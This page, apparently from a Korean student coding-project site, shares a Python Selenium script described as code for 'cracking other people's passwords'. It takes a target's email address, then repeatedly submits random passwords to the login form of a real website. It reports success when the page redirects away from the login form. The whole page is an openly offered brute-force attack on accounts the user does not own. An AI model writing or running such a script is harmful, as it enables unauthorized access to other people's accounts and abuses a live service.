← 목록으로

디랩 열쇠

만든이: 디랩광진광진5/30/2026
Other
디랩 열쇠

게임 소개

남의 비번을 딸 수 있는 코드 import os import sys import random import string import time from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.chrome.service import Service as ChromeService from selenium.webdriver.chrome.options import Options from selenium.common.exceptions import NoSuchElementException, TimeoutException from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC # ------------------------------------------------- # 1️⃣ 무작위 비밀번호 생성 (6~20자) # ------------------------------------------------- def generate_password(min_len: int = 6, max_len: int = 20) -> str: length = random.randint(min_len, max_len) alphabet = string.ascii_letters + string.digits + "!@#$%^&*()-_=+[]{}|;:,.<>?/~`" return "".join(random.choice(alphabet) for _ in range(length)) # ------------------------------------------------- # 2️⃣ 메인 로그인 반복 실행 로직 # ------------------------------------------------- def login_lumi_loop(email: str): chrome_options = Options() chrome_options.add_argument("--start-maximized") # 속도를 더 빠르게 하기 위해 필요 시 이미지 로딩을 비활성화하는 옵션을 추가할 수 있습니다. # chrome_options.add_experimental_option("prefs", {"profile.managed_default_content_settings.images": 2}) driver = webdriver.Chrome(options=chrome_options) # 각 탐색당 최대 대기 시간을 짧게 설정하여 회전율을 높입니다. wait = WebDriverWait(driver, 5) attempt = 0 start_url = "https://www.lumi.codes/login#google_vignette" try: # 최초 페이지 접속 driver.get(start_url) time.sleep(2) # 최초 로딩 대기 while True: attempt += 1 print(f"\n[INFO] {attempt}번째 로그인 시도 중...") try: # 1. 이메일 필드 입력 email_input = wait.until( EC.presence_of_element_located((By.CSS_SELECTOR, "input[type='email']")) ) email_input.clear() email_input.send_keys(email) # 2. 비밀번호 생성 및 입력 password = generate_password() pwd_input = driver.find_element(By.CSS_SELECTOR, "input[type='password']") pwd_input.clear() pwd_input.send_keys(password) # 3. 로그인 제출 try: login_btn = driver.find_element( By.XPATH, "//button[contains(., 'Login') or contains(., '로그인') or contains(., 'Execute') or contains(@type, 'submit')]" ) login_btn.click() except NoSuchElementException: email_input.submit() # 4. 로그인 성공 여부 검증 # 예: URL이 변경되었는지 혹은 로그인 후의 대시보드 페이지 요소가 나타났는지 확인 time.sleep(1) # 서버 응답 대기 current_url = driver.current_url # 로그인 전 주소(또는 로그인 폼 주소)에서 벗어났다면 성공으로 판단 if "login" not in current_url: print(f"\n[SUCCESS] 로그인 성공!!") print(f"성공한 비밀번호: {password}") print(f"최종 이동된 URL: {current_url}") break else: print(f"[FAIL] 로그인 실패 (시도한 비번: {password}) - 재시도합니다.") # 로그인 실패 시 경고창(Alert)이 뜨는 경우가 있으므로 확인 후 닫기 try: alert = driver.switch_to.alert alert.accept() print("[INFO] 경고창 확인 누름") except Exception: pass # 페이지 새로고침하여 폼을 초기화 driver.refresh() time.sleep(0.5) except (NoSuchElementException, TimeoutException) as element_error: print(f"[WARN] 요소를 찾을 수 없거나 타임아웃 발생 (페이지 새로고침 후 재시도): {element_error}") driver.get(start_url) time.sleep(2) except Exception as e: print(f"[ERROR] 일반 오류 발생: {e}") time.sleep(1) # 성공 후 대기 input("\n[확인] 작업을 마쳤습니다. 브라우저를 닫으려면 Enter 키를 누르세요...") finally: driver.quit() # ------------------------------------------------- # 3️⃣ 실행부 # ------------------------------------------------- if __name__ == "__main__": if len(sys.argv) >= 2: user_email = sys.argv[1] else: user_email = input("사용할 이메일 주소를 입력하세요: ").strip() if not user_email: print("[ERROR] 이메일 주소가 입력되지 않았습니다.") sys.exit(1) login_lumi_loop(user_email)


댓글 (0)

댓글을 달고 싶다면 로그인 해보세요!

댓글 불러오는 중...